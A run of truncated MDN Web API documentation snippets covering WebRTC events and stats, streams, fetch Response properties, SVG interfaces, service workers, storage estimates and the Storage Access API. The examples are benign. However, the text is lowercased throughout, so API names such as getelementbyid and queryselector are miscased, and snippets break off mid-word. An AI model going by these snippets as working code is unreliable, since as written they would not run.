... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe defini...
RTCPeerConnection: connectionstatechange event - Web APIs
pc.onconnectionstatechange = ev => { switch(pc.connectionstate) { case "new": case "checking": setonlinestatus("connecting..."); break; case "connected": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unkno...
...wn"); break; } } you can also create a handler for connectionstatechange by using addeventlistener(): pc.addeventlistener("connectionstatechange", ev => { switch(pc.connectionstate) { /* ...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
the ice layer makes this determination upon receiving the end-of-candidates signal, which is provided by caling addicecandidate() with a candidate whose candidate property is an empty string (""), or by setting the rtcpeerconnection property cantrickleicecandidates to false.
... pc.addeventlistener("iceconnectionstatechange", ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status...
RTCPeerConnection: icegatheringstatechange event - Web APIs
pc.onicegatheringstatechange = ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gathering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } } likewise, you can use addeventlistener() to add a listener for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gath...
...ering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidatestatechange' in that specification.
RTCPeerConnection: negotiationneeded event - Web APIs
pc.addeventlistener("negotiationneeded", ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }, false); after creating the offer, the local end is configured by calling rtcpeerconnection.setlocaldescription(); then a signaling message is created ...
... you can also set an event handler for the negotiationneeded event by assigning the event handler function to the rtcpeerconnection.onnegotiationneeded property: pc.onnegotiationneeded = ev => { pc.createoffer() .then(offer => return pc.setlocaldescription(offer)) .then(() => sendsignalingmessage({ type: "video-offer", sdp: pc.localdescription })) .catch(err => { /* handle error */ ); }; for a more detailed example, see starting negotiation in signaling and video calling.
RTCPeerConnection.onaddstream - Web APIs
example this code, based on an older version of our signaling and video calling sample, responds to addstream events by setting the video source for a <video> element to the stream specified in the event, and then enabling a "hang up" button in the app's user interface.
... pc.onaddstream = function(event) { document.getelementbyid("received_video").srcobject = event.stream; document.getelementbyid("hangup-button").disabled = false; }; you can also use addeventlistener() to add a handler for addstream events to an rtcpeerconnection.
RTCPeerConnection.ontrack - Web APIs
pc.ontrack = function(event) { document.getelementbyid("received_video").srcobject = event.streams[0]; document.getelementbyid("hangup-button").disabled = false; }; the first line of our ontrack event handler takes the first stream in the incoming track and sets the srcobject attribute to that.
...the second line of code simply enables a "hang up" button, which the user can use to disconnect from the call.
RTCPeerConnection.removeTrack() - Web APIs
if the connection has already been negotiated (signalingstate is set to "stable"), it is marked as needing to be negotiated again; the remote peer won't experience the change until this negotiation occurs.
... var pc, sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
RTCPeerConnection.setLocalDescription() - Web APIs
deprecated exceptions when using the deprecated callback-based version of setlocaldescription(), the following exceptions may occur: invalidstateerror the connection's signalingstate is "closed", indicating that the connection is not currently open, so negotiation cannot take place.
... pc.addeventlistener("negotiationneeded", async (event) => { await pc.setlocaldescription(); signalremotepeer({ description: pc.localdescription }); }); other than error handling, that's about it!
RTCPeerConnection.setRemoteDescription() - Web APIs
exceptions when using the deprecated callback-based version of setremotedescription(), the following exceptions may occur: invalidstateerror the connection's signalingstate is "closed", indicating that the connection is not currently open, so negotiation cannot take place.
... function handleoffer(msg) { createmypeerconnection(); mypeerconnection.setremotedescription(msg.description).then(function () { return navigator.mediadevices.getusermedia(mediaconstraints); }) .then(function(stream) { document.getelementbyid("local_video").srcobject = stream; return mypeerconnection.addstream(stream); }) .then(function() { return mypeerconnection.createanswer(); }) .then(function(answer) { return mypeerconnection.setlocaldescription(answer); }) .then(function() { // send the answer to the remote peer using the signaling server }) .catch(handlegetusermediaerror); } after creating our rtc...
RTCRtpCodecParameters - Web APIs
mimetype optional the codec's mime media type and subtype specified as a domstring of the form "type/subtype".
... sdpfmtpline optional a domstring containing the format-specific parameters field from the "a=fmtp" line in the codec's sdp, if one is present; see section 5.8 of the ietf specification for jsep.
RTCRtpReceiver.getCapabilities() static function - Web APIs
description as a static function, this is always called using the form: capabilities = rtcrtpreceiver.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
... function canreceiveh264() { let capabilities = rtcrtpreceiver.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getcapabilities()' in that specification.
RTCRtpSender.getCapabilities() static function - Web APIs
description as a static function, this is always called using the form: capabilities = rtcrtpsender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list.
... function cansendh264() { let capabilities = rtcrtpsender.getcapabilities("video"); capabilities.codecs.foreach((codec) => { if (codec.mimetype === "video/h264") { return true; } }); return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.getcapabilities()' in that specification.
RTCRtpStreamStats.kind - Web APIs
its value is always either "audio" or "video".
... syntax mediakind = rtcrtpstreamstats.kind; value a domstring whose value is "audio" if the track whose statistics are given by the rtcrtpstreamstats object contains audio, or "video" if the track contains video media.
RTCRtpStreamStats.qpSum - Web APIs
for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value is defined in rfc 6386: 19.2.
... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe defini...
RTCSessionDescription.toJSON() - Web APIs
syntax var jsonvalue = sd.tojson(); the result value is a json object containing the following values: "type", containing the value of the rtcsessiondescription.type property and can be one of the following values: "offer", "answer", "pranswer" or null.
... "sdp", containing a domstring, or null, with the sdp message corresponding to rtcsessiondescription.sdp property.
RadioNodeList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/nodelist" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">nodelist</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="...
...none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/radionodelist" target="_top"><rect x="121" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">radionodelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties the radionodelist interface inherits the properties of nodelist.
Range.selectNodeContents() - Web APIs
example range = document.createrange(); referencenode = document.getelementsbytagname("div")[0]; range.selectnodecontents(referencenode); live sample this example lets the user select and deselect a paragraph with buttons.
... html <p id="p"><b>use the buttons below</b> to select or deselect the contents of this paragraph.</p> <button id="select-button">select paragraph</button> <button id="deselect-button">deselect paragraph</button> javascript const p = document.getelementbyid('p'); const selectbutton = document.getelementbyid('select-button'); const deselectbutton = document.getelementbyid('deselect-button'); selectbutton.addeventlistener('click', e => { // clear any current selection const selection = window.getselection(); selection.removeallranges(); // select paragraph const range = document.createrange(...
ReadableStream.ReadableStream() - Web APIs
if it is included with a value set to "bytes", the passed controller object will be a readablebytestreamcontroller capable of handling a byob (bring your own buffer)/byte stream.
... exceptions rangeerror the supplied type value is neither "bytes" nor undefined.
ReadableStream - Web APIs
fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
ReadableStreamDefaultReader - Web APIs
fetch("https://www.example.org/").then((response) => { const reader = response.body.getreader(); const stream = new readablestream({ start(controller) { // the following function handles each data chunk function push() { // "done" is a boolean and value a "uint8array" return reader.read().then(({ done, value }) => { // is there no more data to read?
... if (done) { // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
Response.redirected - Web APIs
fetch("awesome-picture.jpg").then(function(response) { let elem = document.getelementbyid("warning-message-box"); if (response.redirected) { elem.innerhtml = "unexpected redirect"; } else { elem.innerhtml = ""; } return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); ...
... disallowing redirects because using redirected to manually filter out redirects can allow forgery of redirects, you should instead set the redirect mode to "error" in the init parameter when calling fetch(), like this: fetch("awesome-picture.jpg", { redirect: "error" }).then(function(response) { return response.blob(); }).then(function(imageblob) { let imgobjecturl = url.createobjecturl(imageblob); document.getelementbyid("img-element-id").src = imgobjecturl; }); specifications specification status comment fetchthe definition of 'redirected' in that specification.
Response.statusText - Web APIs
the default value is "".
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.statustext); // returns "ok" if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'statustext' in that specification.
Response.type - Web APIs
WebAPIResponsetype
opaqueredirect: the fetch request was made with redirect: "manual".
... note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise.
SVGAElement - Web APIs
var linkref = document.queryselector("a"); linkref.target = "_self"; linkref.onclick = function(){ if (linkref.target === "_blank") { console.log("blank!"); linkref.target = "_self"; } else { console.log("sorry!
... not _blank"); } } specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation replaced inheritance from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second edition) recommendation initial definition ...
SVGExternalResourcesRequired - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgexternalresourcesrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...iddle">svgexternalresourcesrequired</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGFontFaceFormatElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceformatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" ali...
...gnment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceNameElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-b...
...aseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceSrcElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...ine="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGFontFaceUriElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-basel...
...ine="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
SVGGraphicsElement: copy event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; height: 90...
...%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementsbytagname("text")[0].addeventlistener("copy", evt => { evt.clipboarddata.setdata('text/plain', document.getselection().tostring().touppercase()); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
SVGGraphicsElement: cut event - Web APIs
the cut event is fired on an svggraphicselement when the user has initiated a "cut" action through the browserʼs user interface.
...so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document.
getBBox() - Web APIs
example html <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red...
... --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg> javascript var rectbbox = document.queryselector('#rect_1'); var rectboundingclientrect = document.queryselector('#rect_2'); var groupelement = document.queryselector('#group_text_1'); var bboxgroup = groupelement.getbbox(); rectbbox.setattribute('x', bboxgroup.x); rectbbox.setattribute('y', bboxgroup.y); rectbbox.setattribute('width', bboxgroup.width); rectbbox.setattribute('height', bboxgroup.height); var boundingclientrectgroup = groupelement.getboundingclientrect(); rectboundingclientrect.setattribute('x', boundingclientrectgroup.x); rectboundingclientrect.setattribute('y', boundingclientrectgroup.y); rectboundingclientrect.setattribute('width', boundingclientrectgroup.width); rectboundingclient...
SVGMissingGlyphElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmissingglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...eline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement and implements properties from svgstylable.
SVGRect - Web APIs
WebAPISVGRect
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text...
... x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of this coordinate depends on each element.
SVGTransformList - Web APIs
<svg id="my-svg" viewbox="0 0 300 280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <desc>example showing how to transform svg elements that using svgtransform objects</desc> <script type="application/ecmascript"> <![cdata[ function transformme(evt) { // svg root element to access the createsvgtransform() function var svgroot = evt.target.parentnode; // svgtransformlist...
...eatesvgtransform(); rotate.setrotate(10,0,0); var scale = svgroot.createsvgtransform(); scale.setscale(0.8,0.8); // apply the transformations by appending the svgtranform objects to the svgtransformlist associated with the element tfmlist.appenditem(translate); tfmlist.appenditem(rotate); tfmlist.appenditem(scale); } ]]> </script> <polygon fill="orange" stroke="black" stroke-width="5" points="100,225 100,115 130,115 70,15 70,15 10,115 40,115 40,225" onclick="transformme(evt)"/> <rect x="200" y="100" width="100" height="100" fill="yellow" stroke="black" stroke-width="5" onclick="transformme(evt)"/> <text x="40" y="250" font-family="verdana" font-size="16" fill="green" > click on a shape...
ScriptProcessorNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode.
...); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessin...
SecurityPolicyViolationEvent - Web APIs
this will be "enforce" or "report".
... examples document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.blockeduri); console.log(e.violateddirective); console.log(e.originalpolicy); }); specifications specification status comment content security policy level 2the definition of 'securitypolicyviolationevent' in that specification.
Selection.setBaseAndExtent() - Web APIs
<h1>setbaseandextent example</h1> <div> <p class="one"><span>fish</span><span>dog</span><span>cat</span><span>bird</span></p> <p>middle</p> <p class="two"><span>car</span><span>bike</span><span>boat</span><span>plane</span></p> </div> <div> <p> <label for="aoffset">anchor offset</label> <input id="aoffset" name="aoffset" type="number" value="0"> </p> <p> <label for="foffset">focus offset</label> <input id="foffset" name...
...="foffset" type="number" value="0"> </p> <p><button>capture selection</button></p> </div> <p><strong>output</strong>: <span class="output"></span></p> the javascript looks like so: var one = document.queryselector('.one'); var two = document.queryselector('.two'); var aoffset = document.getelementbyid('aoffset'); var foffset = document.getelementbyid('foffset'); var button = document.queryselector('button'); var output = document.queryselector('.output'); var selection; button.onclick = function() { try { selection = document.getselection(); selection.setbaseandextent(one, aoffset.value, two, foffset.value); var text = selection.tostring(); output.textcontent = text; } catch(e) { output.textcontent = e.message; } } play with the live example below, set...
ServiceWorkerGlobalScope: notificationclick event - Web APIs
er onnotificationclick examples you can use the notificationclick event in an addeventlistener method: self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); or use the onnotificationclick event handler property: self.onnotificationclick = function(event) { consol...
...e.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status notifications apithe definition of 'onnotificationclick' in that specification.
Using Service Workers - Web APIs
when testing you can get around the https restriction by checking the "enable service workers over http (when toolbox is open)" option in the firefox developer tools settings.
... the "forget" button, available in firefox's customization options, can be used to clear service workers and their caches (bug 1252998).
Slottable: assignedSlot - Web APIs
here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in.
... let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification.
SourceBufferList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" strok...
...e="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebufferlist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebufferlist.length r...
StorageEstimate.quota - Web APIs
html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
StorageEstimate.usage - Web APIs
html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
StorageEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4...
...dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/storageevent" target="_top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring repres...
StorageManager.estimate() - Web APIs
html content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
Using the Storage Access API - Web APIs
first of all, if the <iframe> is sandboxed, the embedding website needs to add the allow-storage-access-by-user-activation sandbox token to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ...
... // let's access some items from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("username", "john"); // access a localstorage entry }).catch(_ => { // error obtaining storage access.
Storage Access API - Web APIs
the embedding website needs to add this to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ...
...access requests are automatically denied if the browser detects that the user hasn’t interacted with the embedded content in a first-party context recently (in firefox, "recently" is "within 30 days").
StyleSheet.media - Web APIs
WebAPIStyleSheetmedia
example <!doctype html> <html> <head> <link rel="stylesheet" href="document.css" type="text/css" media="screen" /> <style rel="stylesheet" type="text/css" media="screen, print"> body { background-color: snow; } </style> </head> <body> <script> for (var isheetindex = 0; isheetindex < document.stylesheets.length; isheetindex++) { console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); if (isheetindex === 0) document.stylesheets[isheetindex].media.appendmedium('handheld'); if ...
...(isheetindex === 1) document.stylesheets[isheetindex].media.deletemedium('print'); console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </body> </html> specifications specification status comment css object model (cssom)the definition of 'stylesheet: media' in that specification.
SubmitEvent.submitter - Web APIs
let form = document.queryselector("form"); form.addeventlistener("submit", (event) => { let submitter = event.submitter; let handler = submitter.id; if (handler) { processorder(form, handler); } else { showalertmessage("an unknown or unaccepted payment type was selected.
... please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
SubmitEvent - Web APIs
let form = document.queryselector("form"); form.addeventlistener("submit", (event) => { let submitter = event.submitter; let handler = submitter.id; if (handler) { processorder(form, handler); } else { showalertmessage("an unknown or unaccepted payment type was selected.
... please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from which we then get the id.
TaskAttributionTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="con...
